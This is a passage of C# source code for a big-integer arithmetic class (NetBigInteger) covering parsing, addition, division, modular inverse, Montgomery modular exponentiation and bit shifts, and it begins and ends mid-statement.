Int32.Parse(str[index].ToString(), style) == 0) { index++; } if (index >= str.Length) { // zero value - we're done m_sign = 0; m_magnitude = ZeroMagnitude; return; } ////// // could we work out the max number of ints required to store // str.Length digits in the given base, then allocate that // storage in one hit?, then Generate the magnitude in one hit too? ////// NetBigInteger b = Zero; int next = index + chunk; if (next <= str.Length) { do { string s = str.Substring(index, chunk); ulong i = ulong.Parse(s, style); NetBigInteger bi = createUValueOf(i); switch (radix) { case 2: if (i > 1) throw new FormatException("Bad character in radix 2 string: " + s); b = b.ShiftLeft(1); break; case 16: b = b.ShiftLeft(64); break; default: b = b.Multiply(rE); break; } b = b.Add(bi); index = next; next += chunk; } while (next <= str.Length); } if (index < str.Length) { string s = str.Substring(index); ulong i = ulong.Parse(s, style); NetBigInteger bi = createUValueOf(i); if (b.m_sign > 0) { if (radix == 2) { // NB: Can't reach here since we are parsing one char at a time Debug.Assert(false); } else if (radix == 16) { b = b.ShiftLeft(s.Length << 2); } else { b = b.Multiply(r.Pow(s.Length)); } b = b.Add(bi); } else { b = bi; } } // Note: This is the previous (slower) algorithm // while (index < value.Length) // { // char c = value[index]; // string s = c.ToString(); // int i = Int32.Parse(s, style); // // b = b.Multiply(r).Add(ValueOf(i)); // index++; // } m_magnitude = b.m_magnitude; } public NetBigInteger(byte[] bytes) : this(bytes.AsSpan()) { } public NetBigInteger( byte[] bytes, int offset, int length) : this(bytes.AsSpan(offset, length)) { } public NetBigInteger(ReadOnlySpan<byte> bytes) { if (bytes.Length == 0) throw new FormatException("Zero length BigInteger"); if ((sbyte)bytes[0] < 0) { m_sign = -1; int end = bytes.Length; int iBval; // strip leading sign bytes for (iBval = 0; iBval < end && ((sbyte)bytes[iBval] == -1); iBval++) { } if (iBval >= end) { m_magnitude = One.m_magnitude; } else { int numBytes = end - iBval; byte[] inverse = new byte[numBytes]; int index = 0; while (index < numBytes) { inverse[index++] = (byte)~bytes[iBval++]; } Debug.Assert(iBval == end); while (inverse[--index] == byte.MaxValue) { inverse[index] = byte.MinValue; } inverse[index]++; m_magnitude = MakeMagnitude(inverse); } } else { // strip leading zero bytes and return magnitude bytes m_magnitude = MakeMagnitude(bytes); m_sign = m_magnitude.Length > 0 ? 1 : 0; } } private static int[] MakeMagnitude(ReadOnlySpan<byte> bytes) { int end = bytes.Length; // strip leading zeros int firstSignificant; for (firstSignificant = 0; firstSignificant < end && bytes[firstSignificant] == 0; firstSignificant++) { } if (firstSignificant >= end) { return ZeroMagnitude; } int nInts = (end - firstSignificant + 3) / BytesPerInt; int bCount = (end - firstSignificant) % BytesPerInt; if (bCount == 0) { bCount = BytesPerInt; } if (nInts < 1) { return ZeroMagnitude; } int[] mag = new int[nInts]; int v = 0; int magnitudeIndex = 0; for (int i = firstSignificant; i < end; ++i) { v <<= 8; v |= bytes[i] & 0xff; bCount--; if (bCount <= 0) { mag[magnitudeIndex] = v; magnitudeIndex++; bCount = BytesPerInt; v = 0; } } if (magnitudeIndex < mag.Length) { mag[magnitudeIndex] = v; } return mag; } public NetBigInteger( int sign, byte[] bytes) : this(sign, bytes.AsSpan()) { } public NetBigInteger( int sign, byte[] bytes, int offset, int length) : this(sign, bytes.AsSpan(offset, length)) { } public NetBigInteger( int sign, ReadOnlySpan<byte> bytes) { if (sign < -1 || sign > 1) throw new FormatException("Invalid sign value"); if (sign == 0) { //sign = 0; m_magnitude = ZeroMagnitude; } else { // copy bytes m_magnitude = MakeMagnitude(bytes); m_sign = m_magnitude.Length < 1 ? 0 : sign; } } public NetBigInteger Abs() { return m_sign >= 0 ? this : Negate(); } // return a = a + b - b preserved. private static int[] AddMagnitudes( int[] a, int[] b) { int tI = a.Length - 1; int vI = b.Length - 1; long m = 0; while (vI >= 0) { m += ((long)(uint)a[tI] + (long)(uint)b[vI--]); a[tI--] = (int)m; m = (long)((ulong)m >> 32); } if (m != 0) { while (tI >= 0 && ++a[tI--] == 0) { } } return a; } public NetBigInteger Add( NetBigInteger value) { if (m_sign == 0) return value; if (m_sign != value.m_sign) { if (value.m_sign == 0) return this; if (value.m_sign < 0) return Subtract(value.Negate()); return value.Subtract(Negate()); } return AddToMagnitude(value.m_magnitude); } private NetBigInteger AddToMagnitude( int[] magToAdd) { int[] big, small; if (m_magnitude.Length < magToAdd.Length) { big = magToAdd; small = m_magnitude; } else { big = m_magnitude; small = magToAdd; } // Conservatively avoid over-allocation when no overflow possible uint limit = uint.MaxValue; if (big.Length == small.Length) limit -= (uint)small[0]; bool possibleOverflow = (uint)big[0] >= limit; int[] bigCopy; if (possibleOverflow) { bigCopy = new int[big.Length + 1]; big.CopyTo(bigCopy, 1); } else { bigCopy = (int[])big.Clone(); } bigCopy = AddMagnitudes(bigCopy, small); return new NetBigInteger(m_sign, bigCopy, possibleOverflow); } public NetBigInteger And( NetBigInteger value) { if (m_sign == 0 || value.m_sign == 0) { return Zero; } int[] aMag = m_sign > 0 ? m_magnitude : Add(One).m_magnitude; int[] bMag = value.m_sign > 0 ? value.m_magnitude : value.Add(One).m_magnitude; bool resultNeg = m_sign < 0 && value.m_sign < 0; int resultLength = System.Math.Max(aMag.Length, bMag.Length); int[] resultMag = new int[resultLength]; int aStart = resultMag.Length - aMag.Length; int bStart = resultMag.Length - bMag.Length; for (int i = 0; i < resultMag.Length; ++i) { int aWord = i >= aStart ? aMag[i - aStart] : 0; int bWord = i >= bStart ? bMag[i - bStart] : 0; if (m_sign < 0) { aWord = ~aWord; } if (value.m_sign < 0) { bWord = ~bWord; } resultMag[i] = aWord & bWord; if (resultNeg) { resultMag[i] = ~resultMag[i]; } } NetBigInteger result = new NetBigInteger(1, resultMag, true); if (resultNeg) { result = result.Not(); } return result; } private int calcBitLength( int indx, int[] mag) { for (; ; ) { if (indx >= mag.Length) return 0; if (mag[indx] != 0) break; ++indx; } // bit length for everything after the first int int bitLength = 32 * ((mag.Length - indx) - 1); // and determine bitlength of first int int firstMag = mag[indx]; bitLength += BitLen(firstMag); // Check for negative powers of two if (m_sign < 0 && ((firstMag & -firstMag) == firstMag)) { do { if (++indx >= mag.Length) { --bitLength; break; } } while (mag[indx] == 0); } return bitLength; } public int BitLength { get { if (m_numBitLength == -1) { m_numBitLength = m_sign == 0 ? 0 : calcBitLength(0, m_magnitude); } return m_numBitLength; } } // // BitLen(value) is the number of bits in value. // private static int BitLen( int w) { // Binary search - decision tree (5 tests, rarely 6) return (w < 1 << 15 ? (w < 1 << 7 ? (w < 1 << 3 ? (w < 1 << 1 ? (w < 1 << 0 ? (w < 0 ? 32 : 0) : 1) : (w < 1 << 2 ? 2 : 3)) : (w < 1 << 5 ? (w < 1 << 4 ? 4 : 5) : (w < 1 << 6 ? 6 : 7))) : (w < 1 << 11 ? (w < 1 << 9 ? (w < 1 << 8 ? 8 : 9) : (w < 1 << 10 ? 10 : 11)) : (w < 1 << 13 ? (w < 1 << 12 ? 12 : 13) : (w < 1 << 14 ? 14 : 15)))) : (w < 1 << 23 ? (w < 1 << 19 ? (w < 1 << 17 ? (w < 1 << 16 ? 16 : 17) : (w < 1 << 18 ? 18 : 19)) : (w < 1 << 21 ? (w < 1 << 20 ? 20 : 21) : (w < 1 << 22 ? 22 : 23))) : (w < 1 << 27 ? (w < 1 << 25 ? (w < 1 << 24 ? 24 : 25) : (w < 1 << 26 ? 26 : 27)) : (w < 1 << 29 ? (w < 1 << 28 ? 28 : 29) : (w < 1 << 30 ? 30 : 31))))); } private bool QuickPow2Check() { return m_sign > 0 && m_numBits == 1; } public int CompareTo( object obj) { return CompareTo((NetBigInteger)obj); } // unsigned comparison on two arrays - note the arrays may // start with leading zeros. private static int CompareTo( int xIndx, int[] x, int yIndx, int[] y) { while (xIndx != x.Length && x[xIndx] == 0) { xIndx++; } while (yIndx != y.Length && y[yIndx] == 0) { yIndx++; } return CompareNoLeadingZeroes(xIndx, x, yIndx, y); } private static int CompareNoLeadingZeroes( int xIndx, int[] x, int yIndx, int[] y) { int diff = (x.Length - y.Length) - (xIndx - yIndx); if (diff != 0) { return diff < 0 ? -1 : 1; } // lengths of magnitudes the same, test the magnitude values while (xIndx < x.Length) { uint v1 = (uint)x[xIndx++]; uint v2 = (uint)y[yIndx++]; if (v1 != v2) return v1 < v2 ? -1 : 1; } return 0; } public int CompareTo( NetBigInteger value) { return m_sign < value.m_sign ? -1 : m_sign > value.m_sign ? 1 : m_sign == 0 ? 0 : m_sign * CompareNoLeadingZeroes(0, m_magnitude, 0, value.m_magnitude); } // return z = x / y - done in place (z value preserved, x contains the remainder) private int[] Divide( int[] x, int[] y) { int xStart = 0; while (xStart < x.Length && x[xStart] == 0) { ++xStart; } int yStart = 0; while (yStart < y.Length && y[yStart] == 0) { ++yStart; } Debug.Assert(yStart < y.Length); int xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); int[] count; if (xyCmp > 0) { int yBitLength = calcBitLength(yStart, y); int xBitLength = calcBitLength(xStart, x); int shift = xBitLength - yBitLength; int[] iCount; int iCountStart = 0; int[] c; int cStart = 0; int cBitLength = yBitLength; if (shift > 0) { // iCount = ShiftLeft(One.magnitude, shift); iCount = new int[(shift >> 5) + 1]; iCount[0] = 1 << (shift % 32); c = ShiftLeft(y, shift); cBitLength += shift; } else { iCount = new int[] { 1 }; int len = y.Length - yStart; c = new int[len]; Array.Copy(y, yStart, c, 0, len); } count = new int[iCount.Length]; for (; ; ) { if (cBitLength < xBitLength || CompareNoLeadingZeroes(xStart, x, cStart, c) >= 0) { Subtract(xStart, x, cStart, c); AddMagnitudes(count, iCount); while (x[xStart] == 0) { if (++xStart == x.Length) return count; } //xBitLength = calcBitLength(xStart, x); xBitLength = 32 * (x.Length - xStart - 1) + BitLen(x[xStart]); if (xBitLength <= yBitLength) { if (xBitLength < yBitLength) return count; xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); if (xyCmp <= 0) break; } } shift = cBitLength - xBitLength; // NB: The case where c[cStart] is 1-bit is harmless if (shift == 1) { uint firstC = (uint)c[cStart] >> 1; uint firstX = (uint)x[xStart]; if (firstC > firstX) ++shift; } if (shift < 2) { c = ShiftRightOneInPlace(cStart, c); --cBitLength; iCount = ShiftRightOneInPlace(iCountStart, iCount); } else { c = ShiftRightInPlace(cStart, c, shift); cBitLength -= shift; iCount = ShiftRightInPlace(iCountStart, iCount, shift); } //cStart = c.Length - ((cBitLength + 31) / 32); while (c[cStart] == 0) { ++cStart; } while (iCount[iCountStart] == 0) { ++iCountStart; } } } else { count = new int[1]; } if (xyCmp == 0) { AddMagnitudes(count, One.m_magnitude); Array.Clear(x, xStart, x.Length - xStart); } return count; } public NetBigInteger Divide( NetBigInteger val) { if (val.m_sign == 0) throw new ArithmeticException("Division by zero error"); if (m_sign == 0) return Zero; if (val.QuickPow2Check()) // val is power of two { NetBigInteger result = Abs().ShiftRight(val.Abs().BitLength - 1); return val.m_sign == m_sign ? result : result.Negate(); } int[] mag = (int[])m_magnitude.Clone(); return new NetBigInteger(m_sign * val.m_sign, Divide(mag, val.m_magnitude), true); } public NetBigInteger[] DivideAndRemainder( NetBigInteger val) { if (val.m_sign == 0) throw new ArithmeticException("Division by zero error"); NetBigInteger[] biggies = new NetBigInteger[2]; if (m_sign == 0) { biggies[0] = Zero; biggies[1] = Zero; } else if (val.QuickPow2Check()) // val is power of two { int e = val.Abs().BitLength - 1; NetBigInteger quotient = Abs().ShiftRight(e); int[] remainder = LastNBits(e); biggies[0] = val.m_sign == m_sign ? quotient : quotient.Negate(); biggies[1] = new NetBigInteger(m_sign, remainder, true); } else { int[] remainder = (int[])m_magnitude.Clone(); int[] quotient = Divide(remainder, val.m_magnitude); biggies[0] = new NetBigInteger(m_sign * val.m_sign, quotient, true); biggies[1] = new NetBigInteger(m_sign, remainder, true); } return biggies; } public override bool Equals( object obj) { if (obj == this) return true; NetBigInteger biggie = obj as NetBigInteger; if (biggie == null) return false; if (biggie.m_sign != m_sign || biggie.m_magnitude.Length != m_magnitude.Length) return false; for (int i = 0; i < m_magnitude.Length; i++) { if (biggie.m_magnitude[i] != m_magnitude[i]) { return false; } } return true; } public NetBigInteger Gcd( NetBigInteger value) { if (value.m_sign == 0) return Abs(); if (m_sign == 0) return value.Abs(); NetBigInteger r; NetBigInteger u = this; NetBigInteger v = value; while (v.m_sign != 0) { r = u.Mod(v); u = v; v = r; } return u; } public override int GetHashCode() { int hc = m_magnitude.Length; if (m_magnitude.Length > 0) { hc ^= m_magnitude[0]; if (m_magnitude.Length > 1) { hc ^= m_magnitude[m_magnitude.Length - 1]; } } return m_sign < 0 ? ~hc : hc; } private NetBigInteger Inc() { if (m_sign == 0) return One; if (m_sign < 0) return new NetBigInteger(-1, doSubBigLil(m_magnitude, One.m_magnitude), true); return AddToMagnitude(One.m_magnitude); } public int IntValue { get { return m_sign == 0 ? 0 : m_sign > 0 ? m_magnitude[m_magnitude.Length - 1] : -m_magnitude[m_magnitude.Length - 1]; } } public NetBigInteger Max( NetBigInteger value) { return CompareTo(value) > 0 ? this : value; } public NetBigInteger Min( NetBigInteger value) { return CompareTo(value) < 0 ? this : value; } public NetBigInteger Mod( NetBigInteger m) { if (m.m_sign < 1) throw new ArithmeticException("Modulus must be positive"); NetBigInteger biggie = Remainder(m); return (biggie.m_sign >= 0 ? biggie : biggie.Add(m)); } public NetBigInteger ModInverse( NetBigInteger m) { if (m.m_sign < 1) throw new ArithmeticException("Modulus must be positive"); NetBigInteger x = new NetBigInteger(); NetBigInteger gcd = ExtEuclid(this, m, x, null); if (!gcd.Equals(One)) throw new ArithmeticException("Numbers not relatively prime."); if (x.m_sign < 0) { x.m_sign = 1; //x = m.Subtract(x); x.m_magnitude = doSubBigLil(m.m_magnitude, x.m_magnitude); } return x; } private static NetBigInteger ExtEuclid( NetBigInteger a, NetBigInteger b, NetBigInteger u1Out, NetBigInteger u2Out) { NetBigInteger u1 = One; NetBigInteger u3 = a; NetBigInteger v1 = Zero; NetBigInteger v3 = b; while (v3.m_sign > 0) { NetBigInteger[] q = u3.DivideAndRemainder(v3); NetBigInteger tmp = v1.Multiply(q[0]); NetBigInteger tn = u1.Subtract(tmp); u1 = v1; v1 = tn; u3 = v3; v3 = q[1]; } if (u1Out != null) { u1Out.m_sign = u1.m_sign; u1Out.m_magnitude = u1.m_magnitude; } if (u2Out != null) { NetBigInteger tmp = u1.Multiply(a); tmp = u3.Subtract(tmp); NetBigInteger res = tmp.Divide(b); u2Out.m_sign = res.m_sign; u2Out.m_magnitude = res.m_magnitude; } return u3; } private static void ZeroOut( int[] x) { Array.Clear(x, 0, x.Length); } public NetBigInteger ModPow( NetBigInteger exponent, NetBigInteger m) { if (m.m_sign < 1) throw new ArithmeticException("Modulus must be positive"); if (m.Equals(One)) return Zero; if (exponent.m_sign == 0) return One; if (m_sign == 0) return Zero; int[] zVal = null; int[] yAccum = null; int[] yVal; // Montgomery exponentiation is only possible if the modulus is odd, // but AFAIK, this is always the case for crypto algo's bool useMonty = ((m.m_magnitude[m.m_magnitude.Length - 1] & 1) == 1); long mQ = 0; if (useMonty) { mQ = m.GetMQuote(); // tmp = this * R mod m NetBigInteger tmp = ShiftLeft(32 * m.m_magnitude.Length).Mod(m); zVal = tmp.m_magnitude; useMonty = (zVal.Length <= m.m_magnitude.Length); if (useMonty) { yAccum = new int[m.m_magnitude.Length + 1]; if (zVal.Length < m.m_magnitude.Length) { int[] longZ = new int[m.m_magnitude.Length]; zVal.CopyTo(longZ, longZ.Length - zVal.Length); zVal = longZ; } } } if (!useMonty) { if (m_magnitude.Length <= m.m_magnitude.Length) { //zAccum = new int[m.magnitude.Length * 2]; zVal = new int[m.m_magnitude.Length]; m_magnitude.CopyTo(zVal, zVal.Length - m_magnitude.Length); } else { // // in normal practice we'll never see .. // NetBigInteger tmp = Remainder(m); //zAccum = new int[m.magnitude.Length * 2]; zVal = new int[m.m_magnitude.Length]; tmp.m_magnitude.CopyTo(zVal, zVal.Length - tmp.m_magnitude.Length); } yAccum = new int[m.m_magnitude.Length * 2]; } yVal = new int[m.m_magnitude.Length]; // // from LSW to MSW // for (int i = 0; i < exponent.m_magnitude.Length; i++) { int v = exponent.m_magnitude[i]; int bits = 0; if (i == 0) { while (v > 0) { v <<= 1; bits++; } // // first time in initialise y // zVal.CopyTo(yVal, 0); v <<= 1; bits++; } while (v != 0) { if (useMonty) { // Montgomery square algo doesn't exist, and a normal // square followed by a Montgomery reduction proved to // be almost as heavy as a Montgomery mulitply. MultiplyMonty(yAccum, yVal, yVal, m.m_magnitude, mQ); } else { Square(yAccum, yVal); Remainder(yAccum, m.m_magnitude); Array.Copy(yAccum, yAccum.Length - yVal.Length, yVal, 0, yVal.Length); ZeroOut(yAccum); } bits++; if (v < 0) { if (useMonty) { MultiplyMonty(yAccum, yVal, zVal, m.m_magnitude, mQ); } else { Multiply(yAccum, yVal, zVal); Remainder(yAccum, m.m_magnitude); Array.Copy(yAccum, yAccum.Length - yVal.Length, yVal, 0, yVal.Length); ZeroOut(yAccum); } } v <<= 1; } while (bits < 32) { if (useMonty) { MultiplyMonty(yAccum, yVal, yVal, m.m_magnitude, mQ); } else { Square(yAccum, yVal); Remainder(yAccum, m.m_magnitude); Array.Copy(yAccum, yAccum.Length - yVal.Length, yVal, 0, yVal.Length); ZeroOut(yAccum); } bits++; } } if (useMonty) { // Return y * R^(-1) mod m by doing y * 1 * R^(-1) mod m ZeroOut(zVal); zVal[zVal.Length - 1] = 1; MultiplyMonty(yAccum, yVal, zVal, m.m_magnitude, mQ); } NetBigInteger result = new NetBigInteger(1, yVal, true); return exponent.m_sign > 0 ? result : result.ModInverse(m); } // return w with w = x * x - w is assumed to have enough space. private static int[] Square( int[] w, int[] x) { // Note: this method allows w to be only (2 * x.Length - 1) words if result will fit // if (w.Length != 2 * x.Length) // throw new ArgumentException("no I don't think so..."); ulong u1, u2, c; int wBase = w.Length - 1; for (int i = x.Length - 1; i != 0; i--) { ulong v = (ulong)(uint)x[i]; u1 = v * v; u2 = u1 >> 32; u1 = (uint)u1; u1 += (ulong)(uint)w[wBase]; w[wBase] = (int)(uint)u1; c = u2 + (u1 >> 32); for (int j = i - 1; j >= 0; j--) { --wBase; u1 = v * (ulong)(uint)x[j]; u2 = u1 >> 31; // multiply by 2! u1 = (uint)(u1 << 1); // multiply by 2! u1 += c + (ulong)(uint)w[wBase]; w[wBase] = (int)(uint)u1; c = u2 + (u1 >> 32); } c += (ulong)(uint)w[--wBase]; w[wBase] = (int)(uint)c; if (--wBase >= 0) { w[wBase] = (int)(uint)(c >> 32); } else { Debug.Assert((uint)(c >> 32) == 0); } wBase += i; } u1 = (ulong)(uint)x[0]; u1 = u1 * u1; u2 = u1 >> 32; u1 = u1 & IMASK; u1 += (ulong)(uint)w[wBase]; w[wBase] = (int)(uint)u1; if (--wBase >= 0) { w[wBase] = (int)(uint)(u2 + (u1 >> 32) + (ulong)(uint)w[wBase]); } else { Debug.Assert((uint)(u2 + (u1 >> 32)) == 0); } return w; } // return x with x = y * z - x is assumed to have enough space. private static int[] Multiply( int[] x, int[] y, int[] z) { int i = z.Length; if (i < 1) return x; int xBase = x.Length - y.Length; for (; ; ) { long a = z[--i] & IMASK; long val = 0; for (int j = y.Length - 1; j >= 0; j--) { val += a * (y[j] & IMASK) + (x[xBase + j] & IMASK); x[xBase + j] = (int)val; val = (long)((ulong)val >> 32); } --xBase; if (i < 1) { if (xBase >= 0) { x[xBase] = (int)val; } else { Debug.Assert(val == 0); } break; } x[xBase] = (int)val; } return x; } private static long FastExtEuclid( long a, long b, long[] uOut) { long u1 = 1; long u3 = a; long v1 = 0; long v3 = b; while (v3 > 0) { long q, tn; q = u3 / v3; tn = u1 - (v1 * q); u1 = v1; v1 = tn; tn = u3 - (v3 * q); u3 = v3; v3 = tn; } uOut[0] = u1; uOut[1] = (u3 - (u1 * a)) / b; return u3; } private static long FastModInverse( long v, long m) { if (m < 1) throw new ArithmeticException("Modulus must be positive"); long[] x = new long[2]; long gcd = FastExtEuclid(v, m, x); if (gcd != 1) throw new ArithmeticException("Numbers not relatively prime."); if (x[0] < 0) { x[0] += m; } return x[0]; } private long GetMQuote() { Debug.Assert(m_sign > 0); if (m_quote != -1) { return m_quote; // already calculated } if (m_magnitude.Length == 0 || (m_magnitude[m_magnitude.Length - 1] & 1) == 0) { return -1; // not for even numbers } long v = (((~m_magnitude[m_magnitude.Length - 1]) | 1) & 0xffffffffL); m_quote = FastModInverse(v, 0x100000000L); return m_quote; } private static void MultiplyMonty( int[] a, int[] x, int[] y, int[] m, long mQuote) // mQuote = -m^(-1) mod b { if (m.Length == 1) { x[0] = (int)MultiplyMontyNIsOne((uint)x[0], (uint)y[0], (uint)m[0], (ulong)mQuote); return; } int n = m.Length; int nMinus1 = n - 1; long y_0 = y[nMinus1] & IMASK; // 1. a = 0 (Notation: a = (a_{n} a_{n-1} ... a_{0})_{b} ) Array.Clear(a, 0, n + 1); // 2. for i from 0 to (n - 1) do the following: for (int i = n; i > 0; i--) { long x_i = x[i - 1] & IMASK; // 2.1 u = ((a[0] + (x[i] * y[0]) * mQuote) mod b long u = ((((a[n] & IMASK) + ((x_i * y_0) & IMASK)) & IMASK) * mQuote) & IMASK; // 2.2 a = (a + x_i * y + u * m) / b long prod1 = x_i * y_0; long prod2 = u * (m[nMinus1] & IMASK); long tmp = (a[n] & IMASK) + (prod1 & IMASK) + (prod2 & IMASK); long carry = (long)((ulong)prod1 >> 32) + (long)((ulong)prod2 >> 32) + (long)((ulong)tmp >> 32); for (int j = nMinus1; j > 0; j--) { prod1 = x_i * (y[j - 1] & IMASK); prod2 = u * (m[j - 1] & IMASK); tmp = (a[j] & IMASK) + (prod1 & IMASK) + (prod2 & IMASK) + (carry & IMASK); carry = (long)((ulong)carry >> 32) + (long)((ulong)prod1 >> 32) + (long)((ulong)prod2 >> 32) + (long)((ulong)tmp >> 32); a[j + 1] = (int)tmp; // division by b } carry += (a[0] & IMASK); a[1] = (int)carry; a[0] = (int)((ulong)carry >> 32); // OJO!!!!! } // 3. if x >= m the x = x - m if (CompareTo(0, a, 0, m) >= 0) { Subtract(0, a, 0, m); } // put the result in x Array.Copy(a, 1, x, 0, n); } private static uint MultiplyMontyNIsOne( uint x, uint y, uint m, ulong mQuote) { ulong um = m; ulong prod1 = (ulong)x * (ulong)y; ulong u = (prod1 * mQuote) & UIMASK; ulong prod2 = u * um; ulong tmp = (prod1 & UIMASK) + (prod2 & UIMASK); ulong carry = (prod1 >> 32) + (prod2 >> 32) + (tmp >> 32); if (carry > um) { carry -= um; } return (uint)(carry & UIMASK); } public NetBigInteger Modulus( NetBigInteger val) { return Mod(val); } public NetBigInteger Multiply( NetBigInteger val) { if (m_sign == 0 || val.m_sign == 0) return Zero; if (val.QuickPow2Check()) // val is power of two { NetBigInteger result = ShiftLeft(val.Abs().BitLength - 1); return val.m_sign > 0 ? result : result.Negate(); } if (QuickPow2Check()) // this is power of two { NetBigInteger result = val.ShiftLeft(Abs().BitLength - 1); return m_sign > 0 ? result : result.Negate(); } int maxBitLength = BitLength + val.BitLength; int resLength = (maxBitLength + BitsPerInt - 1) / BitsPerInt; int[] res = new int[resLength]; if (val == this) { Square(res, m_magnitude); } else { Multiply(res, m_magnitude, val.m_magnitude); } return new NetBigInteger(m_sign * val.m_sign, res, true); } public NetBigInteger Negate() { if (m_sign == 0) return this; return new NetBigInteger(-m_sign, m_magnitude, false); } public NetBigInteger Not() { return Inc().Negate(); } public NetBigInteger Pow(int exp) { if (exp < 0) { throw new ArithmeticException("Negative exponent"); } if (exp == 0) { return One; } if (m_sign == 0 || Equals(One)) { return this; } NetBigInteger y = One; NetBigInteger z = this; for (; ; ) { if ((exp & 0x1) == 1) { y = y.Multiply(z); } exp >>= 1; if (exp == 0) break; z = z.Multiply(z); } return y; } private int Remainder( int m) { Debug.Assert(m > 0); long acc = 0; for (int pos = 0; pos < m_magnitude.Length; ++pos) { long posVal = (uint)m_magnitude[pos]; acc = (acc << 32 | posVal) % m; } return (int)acc; } // return x = x % y - done in place (y value preserved) private int[] Remainder( int[] x, int[] y) { int xStart = 0; while (xStart < x.Length && x[xStart] == 0) { ++xStart; } int yStart = 0; while (yStart < y.Length && y[yStart] == 0) { ++yStart; } Debug.Assert(yStart < y.Length); int xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); if (xyCmp > 0) { int yBitLength = calcBitLength(yStart, y); int xBitLength = calcBitLength(xStart, x); int shift = xBitLength - yBitLength; int[] c; int cStart = 0; int cBitLength = yBitLength; if (shift > 0) { c = ShiftLeft(y, shift); cBitLength += shift; Debug.Assert(c[0] != 0); } else { int len = y.Length - yStart; c = new int[len]; Array.Copy(y, yStart, c, 0, len); } for (; ; ) { if (cBitLength < xBitLength || CompareNoLeadingZeroes(xStart, x, cStart, c) >= 0) { Subtract(xStart, x, cStart, c); while (x[xStart] == 0) { if (++xStart == x.Length) return x; } //xBitLength = calcBitLength(xStart, x); xBitLength = 32 * (x.Length - xStart - 1) + BitLen(x[xStart]); if (xBitLength <= yBitLength) { if (xBitLength < yBitLength) return x; xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y); if (xyCmp <= 0) break; } } shift = cBitLength - xBitLength; // NB: The case where c[cStart] is 1-bit is harmless if (shift == 1) { uint firstC = (uint)c[cStart] >> 1; uint firstX = (uint)x[xStart]; if (firstC > firstX) ++shift; } if (shift < 2) { c = ShiftRightOneInPlace(cStart, c); --cBitLength; } else { c = ShiftRightInPlace(cStart, c, shift); cBitLength -= shift; } //cStart = c.Length - ((cBitLength + 31) / 32); while (c[cStart] == 0) { ++cStart; } } } if (xyCmp == 0) { Array.Clear(x, xStart, x.Length - xStart); } return x; } public NetBigInteger Remainder( NetBigInteger n) { if (n.m_sign == 0) throw new ArithmeticException("Division by zero error"); if (m_sign == 0) return Zero; // For small values, use fast remainder method if (n.m_magnitude.Length == 1) { int val = n.m_magnitude[0]; if (val > 0) { if (val == 1) return Zero; int rem = Remainder(val); return rem == 0 ? Zero : new NetBigInteger(m_sign, new int[] { rem }, false); } } if (CompareNoLeadingZeroes(0, m_magnitude, 0, n.m_magnitude) < 0) return this; int[] result; if (n.QuickPow2Check()) // n is power of two { result = LastNBits(n.Abs().BitLength - 1); } else { result = (int[])m_magnitude.Clone(); result = Remainder(result, n.m_magnitude); } return new NetBigInteger(m_sign, result, true); } private int[] LastNBits( int n) { if (n < 1) return ZeroMagnitude; int numWords = (n + BitsPerInt - 1) / BitsPerInt; numWords = System.Math.Min(numWords, m_magnitude.Length); int[] result = new int[numWords]; Array.Copy(m_magnitude, m_magnitude.Length - numWords, result, 0, numWords); int hiBits = n % 32; if (hiBits != 0) { result[0] &= ~(-1 << hiBits); } return result; } // do a left shift - this returns a new array. private static int[] ShiftLeft( int[] mag, int n) { int nInts = (int)((uint)n >> 5); int nBits = n & 0x1f; int magLen = mag.Length; int[] newMag; if (nBits == 0) { newMag = new int[magLen + nInts]; mag.CopyTo(newMag, 0); } else { int i = 0; int nBits2 = 32 - nBits; int highBits = (int)((uint)mag[0] >> nBits2); if (highBits != 0) { newMag = new int[magLen + nInts + 1]; newMag[i++] = highBits; } else { newMag = new int[magLen + nInts]; } int m = mag[0]; for (int j = 0; j < magLen - 1; j++) { int next = mag[j + 1]; newMag[i++] = (m << nBits) | (int)((uint)next >> nBits2); m = next; } newMag[i] = mag[magLen - 1] << nBits; } return newMag; } public NetBigInteger ShiftLeft( int n) { if (m_sign == 0 || m_magnitude.Length == 0) return Zero; if (n == 0) return this; if (n < 0) return ShiftRight(-n); NetBigInteger result = new NetBigInteger(m_sign, ShiftLeft(m_magnitude, n), true); if (m_numBits != -1) { result.m_numBits = m_sign > 0 ? m_numBits : m_numBits + n; } if (m_numBitLength != -1) { result.m_numBitLength = m_numBitLength + n; } return result; } // do a right shift - this does it in place. private static int[] ShiftRightInPlace( int start, int[] mag, int n) { int nInts = (int)((uint)n >> 5) + start; int nBits = n & 0x1f; int magEnd = mag.Length - 1; if (nInts != start) { int delta = (nInts - start); for (int i = magEnd; i >= nInts; i--) { mag[i] = mag[i - delta]; } for (int i = nInts - 1; i >= start; i--) { mag[i] = 0; } } if (nBits != 0) { int nBits2 = 32 - nBits; int m = mag[magEnd]; for (int i = magEnd; i > nInts; --i) { int next = mag[i - 1]; mag[i] = (int)((uint)m >> nBits) | (next << nBits2); m = next; } mag[nInts] = (int)((uint)mag[nInts] >> nBits); } return mag; } // do a right shift by one - this does it in place. private static int[] ShiftRightOneInPlace( int start, int[] mag) { int i = mag.Length; int m = mag[i - 1]; while (--i > start) { int next = mag[i - 1]; mag[i] = ((int)((uint)m >> 1)) | (next << 31); m = next; } mag[start] = (int)((uint)mag[start] >> 1); return mag; } public NetBigInteger ShiftRight( int n) { if (n == 0) return this; if (n < 0) return ShiftLeft(-n); if (n >= BitLength) return (m_sign < 0 ? One.Negate() : Zero); // int[] res = (int[]) magnitude.Clone(); // // res = ShiftRightInPlace(0, res, n); // // return new BigInteger(sign, res, true); int resultLength = (BitLength - n + 31) >> 5; int[] res = new int[resultLength]; int numInts = n >> 5; int numBits = n & 31; if (numBits == 0) { Array.Copy(m_magnitude, 0, res, 0, res.Length); } else { int numBits2 = 32 - numBits; int magPos = m_magnitude.Length - 1 - numInts; for (int i = resultLength - 1; i >= 0; --i) { res[i] = (int)((uint)m_magnitude[magPos--] >> numBits); if (magPos >= 0) { res[i] |= m_magnitude[magPos] << numBits2; } } } Debug.Assert(res[0] != 0); return new NetBigInteger(m_sign, res, false); } public int SignValue { get { return m_sign; } } // returns x = x - y - we assume x is >= y private static int[] Subtract( int xStart, int[] x, int yStart, int[] y) { Debug.Assert(yStart < y.Length); Debug.Assert(x.Length - xStart >= y.Length - yStart); int iT = x.Length; int iV = y.Length; long m; int borrow = 0; do { m = 